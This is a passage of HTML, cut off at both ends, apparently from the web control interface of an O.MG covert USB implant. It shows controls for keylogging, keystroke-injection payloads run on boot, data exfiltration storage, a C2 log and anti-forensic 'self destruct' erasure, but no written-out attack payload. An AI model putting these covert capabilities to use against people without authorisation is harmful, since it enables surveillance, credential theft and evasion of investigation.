id=\"sidebar_settings_config_selfDestructFull\" onclick=\"applyEffect(this); sendMessage(`CD1`)\">Self Destruct (Full)</button>\n\t\t\t\t\t\t<aside>Completely erase all data and disconnect data lines to make device behave \"broken\". You will need to reflash the firmware to recover.</aside>\n\t\t\t\t\t\t<br>\n\t\t\t\t\t\t<button class=\"submitButton\" id=\"sidebar_settings_config_selfDestructPartial\" onclick=\"applyEffect(this); sendMessage(`CD2`)\">Self Destruct (Partial)</button>\n\t\t\t\t\t\t<aside>Erase all data, but leave data lines connected, so it behaves like a normal device. You will need to reflash the firmware to recover.</aside>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"keylog\">\n\t\t\t\t\t\t<h3>Erase Keylog</h3>\n\t\t\t\t\t\t<button class=\"submitButton\" id=\"sidebar_settings_debug_cldelete\" onclick=\"applyEffect(this); sendMessage(`CLDelete`);\">Erase Keylog</button>\n\t\t\t\t\t\t<br>\n\t\t\t\t\t</div>\n\t\t\t\t\t<h3>Custom Command</h3>\n\t\t\t\t\t<label for=\"customCommandInput\">Input</label>\n\t\t\t\t\t<input type=\"text\" id=\"customCommandInput\" name=\"customCommandInput\" spellcheck=\"false\">\n\t\t\t\t\t<button id=\"customCommandRun\" class=\"updateButton\" onclick=\"applyEffect(this); issueCustomCommand();\">Run</button>\n\t\t\t\t\t<label for=\"customCommandOutput\">Output</label>\n\t\t\t\t\t<textarea id=\"customCommandOutput\" spellcheck=\"false\"></textarea>\n\t\t\t\t\t<button id=\"enableDebugMenu\" class=\"\" onclick=\"applyEffect(this); document.getElementById(`contentSubNav_debug`).classList.remove(`hidden`);document.getElementById(`debug-info`).classList.remove(`hidden`);document.getElementById(`footerNavPayloadEvalByLine`).classList.remove(`hidden`);document.getElementById(`footerNavPayloadRunByLine`).classList.remove(`hidden`);\">Enable Debug Menu</button>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div id=\"sidebar_about\" class=\"hidden\">\n\t\t\t<button class=\"close\" type=\"button\" onclick=\"sidebarAreaToggle('close')\">\n\t\t\t\t<span>&times;</span>\n\t\t\t</button>\n\t\t\t<h1>About</h1>\n\t\t\t<div>\n\t\t\t\t<h3>Details</h3>\n\t\t\t\t<div>\n\t\t\t\t\tBackend Version: \n\t\t\t\t\t<span id=\"device-VersionNumber\"></span>\n\t\t\t\t</div>\n\t\t\t\t<div>\n\t\t\t\t\tFrontend Version: \n\t\t\t\t\t<span id=\"frontend-VersionNumber\"></span>\n\t\t\t\t</div>\n\t\t\t\t<div>\n\t\t\t\t\tModel: \n\t\t\t\t\t<span id=\"device-TypeDecoded\"></span>\n\t\t\t\t</div>\n\t\t\t\t<span id=\"device-Model\" class=\"hidden\"></span>\n\t\t\t\t<span id=\"device-Type\" class=\"hidden\"></span>\n\t\t\t</div>\n\t\t\t<h3>Release Team</h3>\n\t\t\t<div id=\"releaseTeam\" class=\"about-section-credits\"></div>\n\t\t\t<div class=\"about-team-name\">More Information found at:</div>\n\t\t\t<div class=\"about-twitter\">\n\t\t\t\t<a href=\"https://o.mg.lol/team/\">https://o.mg.lol/team/</a>\n\t\t\t</div>\n\t\t\t<h2 class=\"visible\">Regulatory</h2>\n\t\t\t<button class=\"visible\" id=\"sidebar_settings_about_regulatoryButton\" onclick=\"applyEffect(this); createRegulatory();\">Regulatory Info</button>\n\t\t</div>\n\t\t<div id=\"sidebar_help\" class=\"hidden\">\n\t\t\t<button class=\"close\" type=\"button\" onclick=\"sidebarAreaToggle('close')\">\n\t\t\t\t<span>&times;</span>\n\t\t\t</button>\n\t\t\t<h1>Help</h1>\n\t\t\tSee \n\t\t\t<a href=\"https://github.com/O-MG/O.MG-Firmware/wiki\">Product Wiki</a>\n\t\t\t for additional info about specs, feature use, & support.\n\t\t\t<h3>Search</h3>\n\t\t\t<input type=\"text\" id=\"search\" placeholder=\"Search Help...\">\n\t\t\t<h3>Keymap Viewer</h3>\n\t\t\t<button class=\"submitButton helpHeader\" id=\"sidebar_settings_help_keymapViewer\" onclick=\"viewDialog('keymapViewer', 'open'); sidebarAreaToggle('close');\">Show Keymap Viewer</button>\n\t\t\t<h3>O.MG DuckyScript Syntax Guide</h3>\n\t\t\t<div id=\"helpExamples\">\n\t\t\t\t<button id=\"btn_helppayloadGithub\" class=\"helpHeader\" onclick=\"document.getElementById('helppayloadGithub').classList.toggle('hidden');\">Hak5 Community Payloads</button>\n\t\t\t\t<div id=\"helppayloadGithub\" class=\"hidden\">\n\t\t\t\t\t<p>\n\t\t\t\t\t\tCommunity created payloads can be found at: \n\t\t\t\t\t\t<a href=\"http://github.com/hak5/omg-payloads\" target=\"_blank\">http://github.com/hak5/omg-payloads</a>\n\t\t\t\t\t</p>\n\t\t\t\t\t<p>If you have internet access, you can also search below.</p>\n\t\t\t\t\t<input id=\"searchGithubPayloads\" type=\"text\" placeholder=\"Search Github...\">\n\t\t\t\t\t<button class=\"updateButton buttonMergeLeft\" onclick=\"applyEffect(this); searchGithubPayloads()\">Search</button>\n\t\t\t\t\t<br>\n\t\t\t\t\t<div id=\"githubPayloadExamples\"></div>\n\t\t\t\t\t<br>\n\t\t\t\t</div>\n\t\t\t\t<button id=\"btn_helppayloadExample\" class=\"helpHeader\" onclick=\"document.getElementById('helppayloadExample').classList.toggle('hidden');\">Example Payloads</button>\n\t\t\t\t<div id=\"helppayloadExample\" class=\"hidden\"></div>\n\t\t\t\t<button id=\"btn_helppayload\" class=\"helpHeader\" onclick=\"document.getElementById('helppayload').classList.toggle('hidden');\">General</button>\n\t\t\t\t<div id=\"helppayload\" class=\"hidden\"></div>\n\t\t\t\t<button id=\"btn_helpkeylog\" class=\"helpHeader keylog\" onclick=\"document.getElementById('helpkeylog').classList.toggle('hidden');\">Keylogger</button>\n\t\t\t\t<div id=\"helpkeylog\" class=\"keylog hidden\"></div>\n\t\t\t\t<button id=\"btn_helpselfDestruct\" class=\"helpHeader selfDestruct\" onclick=\"document.getElementById('helpselfDestruct').classList.toggle('hidden');\">Self-Destruct</button>\n\t\t\t\t<div id=\"helpselfDestruct\" class=\"selfDestruct hidden\"></div>\n\t\t\t\t<button id=\"btn_helppayloadGeofencing\" class=\"helpHeader\" onclick=\"document.getElementById('helppayloadGeofencing').classList.toggle('hidden');\">Geofencing</button>\n\t\t\t\t<div id=\"helppayloadGeofencing\" class=\"hidden\"></div>\n\t\t\t\t<button id=\"btn_helppayloadUSBIDs\" class=\"helpHeader\" onclick=\"document.getElementById('helppayloadUSBIDs').classList.toggle('hidden');\">USB Device ID</button>\n\t\t\t\t<div id=\"helppayloadUSBIDs\" class=\"hidden\"></div>\n\t\t\t\t<button id=\"btn_helpglobalKeys\" class=\"helpHeader\" onclick=\"document.getElementById('helpglobalKeys').classList.toggle('hidden');\">Global Keys</button>\n\t\t\t\t<div id=\"helpglobalKeys\" class=\"hidden\"></div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\t<div id=\"content\" class=\"contentFullscreen\">\n\t\t<content id=\"contentArea_keylog\" class=\"hidden keylog\">\n\t\t\t<label for=\"keylog\" class=\"hidden\">Keylog Area</label>\n\t\t\t<textarea id=\"keylog\" spellcheck=\"false\" class=\"editorKeylog\" readonly=\"readonly\" placeholder=\"Keylogger output\"></textarea>\n\t\t\t<div id=\"keylogStorage\" class=\"footer\">\n\t\t\t\t<label for=\"keylogStorage\">\n\t\t\t\t\tStorage Used:\n\t\t\t\t\t<data id=\"keylogStoragePercent\">&nbsp;</data>\n\t\t\t\t</label>\n\t\t\t\t<div id=\"keylogStorageUsed\" class=\"progressBar\">\n\t\t\t\t\t<div id=\"keylogStorageUsedBar\" class=\"progressFilled\" style=\"width:0.2%\">&nbsp;</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div id=\"footerKeylog\" class=\"subnav footer\">\n\t\t\t\t<button id=\"footerNavKeylogDownload\" onclick=\"applyEffect(this); downloadKeylog('1');\">\n\t\t\t\t\t<svg id=\"ico_keylogDownload\" xmlns=\"http://www.w3.org/2000/svg\" height=\"24\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t\t\t<span>Refresh Log</span>\n\t\t\t\t</button>\n\t\t\t\t<button id=\"footerNavKeylogSave\" onclick=\"applyEffect(this); saveKeylog();\">\n\t\t\t\t\t<svg id=\"ico_keylogSave\" xmlns=\"http://www.w3.org/2000/svg\" height=\"24\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t\t\t<span>Export View</span>\n\t\t\t\t</button>\n\t\t\t\t<button id=\"footerNavKeylogLiveStatus\" onclick=\"liveLog();\">\n\t\t\t\t\t<svg id=\"ico_keylogLiveLog\" xml:space=\"preserve\" class=\"iconColor navIcon\" viewBox=\"0 0 40 40\"></svg>\n\t\t\t\t\t<span>LiveView</span>\n\t\t\t\t</button>\n\t\t\t\t<button id=\"footerNavKeylogStatus\" onclick=\"keylogStartStop();\">\n\t\t\t\t\t<svg id=\"ico_keylogRun\" xml:space=\"preserve\" class=\"iconColor navIcon\" viewBox=\"0 0 40 40\"></svg>\n\t\t\t\t\t<span id=\"keylogStartButton\">Start</span>\n\t\t\t\t</button>\n\t\t\t</div>\n\t\t</content>\n\t\t<content id=\"contentArea_payload\" class=\"visible\">\n\t\t\t<div class=\"editor-wrapper\">\n\t\t\t\t<div id=\"lineNumbers\"></div>\n\t\t\t\t<textarea id=\"payload\" class=\"editor\" spellcheck=\"false\">DUCKY_LANG US\n\t\t\t\tDELAY 2000\n\t\t\t\t</textarea>\n\t\t\t\t<textarea id=\"payloadoutput\" readonly=\"readonly\" class=\"hidden\"></textarea>\n\t\t\t\t<div id=\"debug-info\" class=\"debug-info hidden\"></div>\n\t\t\t\t<div id=\"payloadEditorFile\">\n\t\t\t\t\t<span>File: </span>\n\t\t\t\t\t<span id=\"payloadEditorFilename\">unsaved</span>\n\t\t\t\t\t<span id=\"payloadEditorBootable\"></span>\n\t\t\t\t\t (\n\t\t\t\t\t<span id=\"payloadEditorSaved\">unsaved</span>\n\t\t\t\t\t)\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div id=\"payloadStorage\" class=\"footer\">\n\t\t\t\t<label for=\"payloadStorageUsed\">\n\t\t\t\t\tStorage Used:\n\t\t\t\t\t<data id=\"payloadStoragePercent\">0%</data>\n\t\t\t\t</label>\n\t\t\t\t<div id=\"payloadStorageUsed\" class=\"progressBar\">\n\t\t\t\t\t<div id=\"payloadStorageUsedBar\" class=\"progressFilled\" style=\"width:0.2%\">&nbsp;</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div id=\"payloadRun\" class=\"footer hidden\">\n\t\t\t\t<label for=\"payloadRunPercentDiv\">\n\t\t\t\t\tExecution:\n\t\t\t\t\t<data id=\"payloadRunPercent\">0%</data>\n\t\t\t\t</label>\n\t\t\t\t<div id=\"payloadRunPercentDiv\" class=\"progressBar\">\n\t\t\t\t\t<div id=\"payloadRunPercentBar\" class=\"progressFilled\" style=\"width:0%\">&nbsp;</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<label for=\"payload\" class=\"hidden\">Payload Area</label>\n\t\t\t<div id=\"footerPayload\" class=\"subnav footer\">\n\t\t\t\t<button id=\"footerNavPayloadMenu\" onclick=\"this.classList.toggle('buttonSelectedGrey'); toggleModule('payloadFileMenu');\">\n\t\t\t\t\t<svg id=\"ico_payloadLoad\" xmlns=\"http://www.w3.org/2000/svg\" height=\"24\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t\t\t<span>File Menu</span>\n\t\t\t\t</button>\n\t\t\t\t<button id=\"footerNavPayloadEvalByLine\" class=\"hidden\" onclick=\"applyEffect(this); compileDuckyScriptByLine();\">\n\t\t\t\t\t<svg id=\"ico_payloadBuild\" xml:space=\"preserve\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t\t\t<span>Build By Line</span>\n\t\t\t\t</button>\n\t\t\t\t<button id=\"footerNavPayloadRunByLine\" class=\"hidden\" onclick=\"applyEffect(this); runDuckyScriptByLine();\">\n\t\t\t\t\t<svg id=\"ico_payloadRun\" xml:space=\"preserve\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t\t\t<span>Run By Line</span>\n\t\t\t\t</button>\n\t\t\t\t<button id=\"footerNavPayloadEval\" onclick=\"applyEffect(this); compileDuckyScript();\">\n\t\t\t\t\t<svg id=\"ico_payloadBuild\" xml:space=\"preserve\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t\t\t<span>Build</span>\n\t\t\t\t</button>\n\t\t\t\t<button id=\"footerNavPayloadRun\" onclick=\"document.getElementById(`footerNavPayloadRun`).classList.add(`buttonRunning`); payloadRun();\">\n\t\t\t\t\t<svg id=\"ico_payloadRun\" xml:space=\"preserve\" viewBox=\"0 0 40 40\" class=\"iconColor navIcon\"></svg>\n\t\t\t\t\t<div>Build + Run</div>\n\t\t\t\t</button>\n\t\t\t</div>\n\t\t\t<div id=\"payloadFileMenu\" class=\"hidden footerFullscreen\">\n\t\t\t\t<button class=\"closeModal\" type=\"button\" onclick=\"toggleModule('payloadFileMenu', 'close');\">&times;</button>\n\t\t\t\t<h2>File Menu</h2>\n\t\t\t\t<label>Select Payload</label>\n\t\t\t\t<div id=\"fileMenuFlex\">\n\t\t\t\t\t<div id=\"columnLeft\">\n\t\t\t\t\t\t<select name=\"payloadSelect\" id=\"payloadSelect\"></select>\n\t\t\t\t\t\t<datalist id=\"payload-list\"></datalist>\n\t\t\t\t\t\t<span class=\"tooltiptext arrowTop\" id=\"tooltipPayloadSelect\"></span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id=\"columnRight\">\n\t\t\t\t\t\t<button id=\"payload-loadButton\" class=\"updateButtonLarge buttonMergeLeft\" onclick=\"applyEffect(this); payloadSlotLoad(document.getElementById('payloadSelect').value)\">Load</button>\n\t\t\t\t\t\t<button id=\"payload-saveButton\" class=\"updateButtonLarge buttonMergeLeft buttonMergeRight\" onclick=\"applyEffect(this); payloadSlotSave(document.getElementById('payloadSelect').value)\">Save</button>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t\t<button id=\"payload-saveBootscriptButton\" class=\"updateButtonLarge buttonMergeLeft buttonMergeRight\" onclick=\"applyEffect(this); payloadSlotSave('bootscript')\">Save Bootscript</button>\n\t\t\t\t<span>Run on Boot:</span>\n\t\t\t\t<span class=\"button-container\" style=\"display: inline-block;\">\n\t\t\t\t\t<div id=\"toggle-BootScriptFileMenu\" class=\"toggle-button\" onclick=\"if(this.classList.contains('active')) { payloadSetBootSlot('off') } else { payloadSetBootSlot('on'); };\">\n\t\t\t\t\t\t<div class=\"inner-circle\"></div>\n\t\t\t\t\t</div>\n\t\t\t\t</span>\n\t\t\t\t<br>\n\t\t\t\t<button id=\"payload-saveBootscriptButton\" class=\"updateButtonLarge buttonMergeLeft buttonMergeRight\" onclick=\"applyEffect(this); sendMessage(`CERun\\tbootscript`)\">Run Bootscript</button>\n\t\t\t</div>\n\t\t</content>\n\t\t<content id=\"contentArea_syslog\" class=\"hidden\">\n\t\t\t<label for=\"syslog\" class=\"hidden\">Syslog Area</label>\n\t\t\t<textarea id=\"syslog\" spellcheck=\"false\" class=\"editorSyslog\" readonly=\"readonly\"></textarea>\n\t\t\t<textarea id=\"debuglog\" class=\"hidden\"></textarea>\n\t\t</content>\n\t\t<content id=\"contentArea_c2log\" class=\"hidden\">\n\t\t\t<label for=\"c2log\" class=\"hidden\">c2log Area</label>\n\t\t\t<textarea id=\"c2log\" spellcheck=\"false\" class=\"editorc2log\" readonly=\"readonly\"></textarea>\n\t\t</content>\n\t\t<content id=\"contentArea_debug\" class=\"hidden\">\n\t\t\t<div>\n\t\t\t\t<label for=\"debugLevel\">Log Level</label>\n\t\t\t\t<select name=\"debugLevel\" id=\"debugLevel\">\n\t\t\t\t\t<option value=\"NONE\">NONE</option>\n\t\t\t\t\t<option value=\"INFO\">INFO</option>\n\t\t\t\t\t<option value=\"WARN\">WARN</option>\n\t\t\t\t\t<option value=\"CRIT\">CRIT</option>\n\t\t\t\t\t<option value=\"DIAG\">DIAG</option>\n\t\t\t\t\t<option value=\"DEBUG\">DEBUG</option>\n\t\t\t\t</select>\n\t\t\t\t<label for=\"device-CalibrationStatus\">Calibration Status</label>\n\t\t\t\t<input id=\"device-CalibrationStatus\" readonly=\"readonly\">\n\t\t\t\t<div>\n\t\t\t\t\tCalibration Status: \n\t\t\t\t\t<span id=\"device-CalibrationStatusDecoded\" spellcheck=\"false\"></span>\n\t\t\t\t</div>\n\t\t\t\t<label for=\"device-FlashSize\">Device Flash Size</label>\n\t\t\t\t<input id=\"device-FlashSize\" readonly=\"readonly\">\n\t\t\t\t<label for=\"device-Uptime\">Device Uptime</label>\n\t\t\t\t<input id=\"device-Uptime\" readonly=\"readonly\">\n\t\t\t\t<label for=\"partitionEditorAvailable\">Partition Editor Usable Space</label>\n\t\t\t\t<input id=\"partitionEditorAvailable\" readonly=\"readonly\">\n\t\t\t\t<label for=\"bootscriptPair\">Bootscript to Payload Pair</label>\n\t\t\t\t<input id=\"bootscriptPair\" readonly=\"readonly\">\n\t\t\t</div>\n\t\t\t<div id=\"keyloggerStatus\" class=\"keylog\"></div>\n\t\t\t<div id=\"CFListResults\" class=\"visible\"></div>\n\t\t\t<div id=\"CTListResults\" class=\"visible\"></div>\n\t\t</content>\n\t</div>\n\t<div id=\"modal\" class=\"hidden\">\n\t\t<button class=\"closeModal\" type=\"button\" onclick=\"modal('modal', 'close')\">&times;</button>\n\t\t<h1 id=\"modalLabel\"></h1>\n\t\t<div id=\"modalMessage\"></div>\n\t\t<div id=\"modalLoader\" class=\"loader hidden\"></div>\n\t\t<div id=\"modalButtons\">\n\t\t\t<button id=\"modalSave\" class=\"submitButton\" onclick=\"applyEffect(this); downloadModal();\">Save Message</button>\n\t\t\t<button id=\"modalClose\" class=\"submitButton\" onclick=\"modal(`modal`, 'close')\">Close</button>\n\t\t</div>\n\t</div>\n\t<dialog id=\"loadingScreen\" open>\n\t\t<h1>Loading WebUI</h1>\n\t\t<div class=\"loader\"></div>\n\t</dialog>\n\t<dialog id=\"keymapViewer\">\n\t\t<button class=\"close-button\" type=\"button\" onclick=\"viewDialog('keymapViewer', 'close');\">&times;</button>\n\t\t<span id=\"keymapViewerLabel\">Keymap Viewer</span>\n\t\t<span class=\"keymapViewerHeader\">\n\t\t\t<input class=\"keymapping\" type=\"text\" placeholder=\"US\" data-keylogger-map-region id=\"keymapViewerSelect\" list=\"keymap-list\">\n\t\t\t<datalist id=\"keymap-list\"></datalist>\n\t\t\t<button id=\"update-keymapViewerLocale\" class=\"updateButton\" onclick=\"applyEffect(this); generateKeymap(document.getElementById('keymapViewerSelect').value)\">Update</button>\n\t\t\t<button id=\"find-keymapViewerLocale\" class=\"updateButton\" onclick=\"applyEffect(this); findKeymap()\">Find</button>\n\t\t</span>\n\t\t<div id=\"keymap_row1\"></div>\n\t\t<div id=\"keymap_row2\"></div>\n\t\t<div id=\"keymap_row3\"></div>\n\t\t<div id=\"keymap_row4\"></div>\n\t\t<div id=\"keymap_row5\"></div>\n\t\t<div id=\"keymap_row6\"></div>\n\t\t<div id=\"keymapFindList\"></div>\n\t</dialog>\n\t<dialog id=\"partitionEditor\">\n\t\t<button class=\"close-button\" type=\"button\" onclick=\"viewDialog('partitionEditor', 'close')\">&times;</button>\n\t\t<h1 id=\"partitionEditorLabel\">Partition Editor</h1>\n\t\t<div id=\"partitionPayloadConfig\">\n\t\t\t<h2>Payloads</h2>\n\t\t\t<div class=\"partitionEditorFieldWrapper\">\n\t\t\t\t<span class=\"partitionEditorFieldLabel\">Type</span>\n\t\t\t\t<select id=\"payloadSlotType\" onchange=\"generatePartitionEditor();\">\n\t\t\t\t\t<option value=\"1\" selected=\"selected\">Editable</option>\n\t\t\t\t\t<option value=\"2\">Executable</option>\n\t\t\t\t\t<option value=\"3\">Both</option>\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t\t<div class=\"partitionEditorFieldWrapper\">\n\t\t\t\t<span class=\"partitionEditorFieldLabel\">Count</span>\n\t\t\t\t<select id=\"payloadSlotCount\" onchange=\"generatePartitionEditor();\"></select>\n\t\t\t</div>\n\t\t\t<div class=\"partitionEditorFieldWrapper\">\n\t\t\t\t<span class=\"partitionEditorFieldLabel\">Size</span>\n\t\t\t\t<select id=\"payloadSlotSize\" onchange=\"generatePartitionEditor();\">\n\t\t\t\t\t<option value=\"1\">4 KB</option>\n\t\t\t\t\t<option value=\"2\">8 KB</option>\n\t\t\t\t\t<option value=\"4\" selected=\"selected\">16 KB</option>\n\t\t\t\t\t<option value=\"8\">32 KB</option>\n\t\t\t\t\t<option value=\"16\">64 KB</option>\n\t\t\t\t\t<option value=\"32\">128 KB</option>\n\t\t\t\t\t<option value=\"64\">256 KB</option>\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t\t<div class=\"partitionEditorFieldWrapper\">\n\t\t\t\t<span class=\"partitionEditorFieldLabel\">Payload Cache</span>\n\t\t\t\t<select id=\"plcacheSlotSize\" onchange=\"generatePartitionEditor();\">\n\t\t\t\t\t<option value=\"10\">40 KB</option>\n\t\t\t\t\t<option value=\"20\">80 KB</option>\n\t\t\t\t\t<option value=\"40\">160 KB</option>\n\t\t\t\t\t<option value=\"80\" selected=\"selected\">320 KB</option>\n\t\t\t\t\t<option value=\"120\">480 KB</option>\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t\t<div class=\"partitionEditorFieldWrapper\">\n\t\t\t\t<span class=\"partitionEditorFieldLabel\">Bootscript</span>\n\t\t\t\t<select id=\"bootscriptSlotSize\" onchange=\"generatePartitionEditor();\">\n\t\t\t\t\t<option value=\"1\">4 KB</option>\n\t\t\t\t\t<option value=\"2\">8 KB</option>\n\t\t\t\t\t<option value=\"4\" selected=\"selected\">16 KB</option>\n\t\t\t\t\t<option value=\"8\">32 KB</option>\n\t\t\t\t\t<option value=\"16\">64 KB</option>\n\t\t\t\t\t<option value=\"32\">128 KB</option>\n\t\t\t\t\t<option value=\"64\">256 KB</option>\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t</div>\n\t\t<br>\n\t\t<h2>Exfiltration</h2>\n\t\t<div id=\"partitonHidxConfig\" class=\"partitionEditorFieldWrapper\">\n\t\t\t<span class=\"partitionEditorFieldLabel\">HIDX Exfil to File</span>\n\t\t\t<select id=\"hidxfileSize\" onchange=\"generatePartitionEditor();\">\n\t\t\t\t<option value=\"1\">4 KB</option>\n\t\t\t\t<option value=\"2\">8 KB</option>\n\t\t\t\t<option value=\"4\">16 KB</option>\n\t\t\t\t<option value=\"8\">32 KB</option>\n\t\t\t\t<option value=\"16\">64 KB</option>\n\t\t\t\t<option value=\"32\">128 KB</option>\n\t\t\t\t<option value=\"64\">256 KB</option>\n\t\t\t\t<option value=\"128\">512 KB</option>\n\t\t\t</select>\n\t\t</div>\n\t\t<div id=\"partitionKeylogConfig\" class=\"partitionEditorFieldWrapper\">\n\t\t\t<span class=\"partitionEditorFieldLabel\">Keylog</span>\n\t\t\t<span id=\"keylogSize\"></span>\n\t\t\t<span>&nbsp;keys</span>\n\t\t</div>\n\t\t<br>\n\t\t<br>\n\t\t<button id=\"partitionEditorDefault\" class=\"submitButton\" onclick=\"applyEffect(this); partitionEditorApply();\">Apply Layout</button>\n\t</dialog>\n\t<dialog id=\"partitionApplied\">\n\t\t<button class=\"closeModal\" type=\"button\" onclick=\"viewDialog('partitionApplied', 'close')\">&times;</button>\n\t\t<h2>Partition Applied</h2>\n\t\t<h4>Your device will now reboot.</h4>\n\t</dialog>\n\t<dialog id=\"firstTimeSetup\">\n\t\t<h2>O.MG Initial Device Setup</h2>\n\t\t<div id=\"fsIcons\">\n\t\t\t<div>\n\t\t\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 338 338\">\n\t\t\t\t\t<path d=\"M169 319a150 150 0 1 1 0-300 150 150 0 1 1 0 300\" fill=\"white\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t<path d=\"M140 295c-15-7-26-15-33-27-21-31-15-71 15-99l28-25c15-13 21-31 17-51v-7c41 33 44 75 36 120 14-7 17-14 21-44 29 42 30 117-27 134 14-26 11-48-12-68-12-10-23-21-20-39-22 16-23 39-20 63-9-5-10-13-12-21-8 21-12 42 7 64Z\" fill=\"#ffa300\" id=\"fire\"/>\n\t\t\t\t\t<g class=\"blockerIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"cableIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"plugIcon\" style=\"transform: scale(2) translate(-135px, -100px);\">\n\t\t\t\t\t\t<path d=\"M200.57,191.24c16.59,0,59.14-24,59.14,0h0c0,27.74-39.83,0-59.14,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M190.57,180.74v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<path d=\"M275 62 L65 273\" fill=\"none\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t</svg>\n\t\t\t\t<br>\n\t\t\t\t<span>Do not expose to extreme heat.</span>\n\t\t\t</div>\n\t\t\t<div>\n\t\t\t\t<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 338 338\">\n\t\t\t\t\t<path d=\"M169 319a150 150 0 1 1 0-300 150 150 0 1 1 0 300\" fill=\"white\" stroke=\"red\" stroke-width=\"15\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t<path d=\"M0 1h338v338H0V1Z\" fill=\"none\"/>\n\t\t\t\t\t<g class=\"blockerIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"cableIcon\">\n\t\t\t\t\t\t<path d=\"M176,132h38.89c16.59,0,30.05,9.79,30.05,21.86h0c0,14.04-15.65,25.43-34.95,25.43h-78.9c-16.61,0-30.08,9.8-30.08,21.88h0c0,14.03,15.63,25.41,34.92,25.41,27.23,0,60.46,0,60.46,0\" fill=\"none\" stroke=\"#7f7f7f\" stroke-width=\"6\" stroke-miterlimit=\"10\"/>\n\t\t\t\t\t\t<path d=\"M193.5,217.08v19s1,1,1,1h25s1-1,1-1v-4h8s0-12,0-12h-8v-3s-1-1-1-1h-25s-1,1-1,1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t\t<path d=\"M150,121.5v4h-9s0,12,0,12h9v4s1,1,1,1h24s1-1,1-1v-19s-1-1-1-1h-24s-1,1-1,1v-1Z\" fill=\"#7f7f7f\" stroke=\"#7f7f7f\"/>\n\t\t\t\t\t</g>\n\t\t\t\t\t<g class=\"plugIcon\" 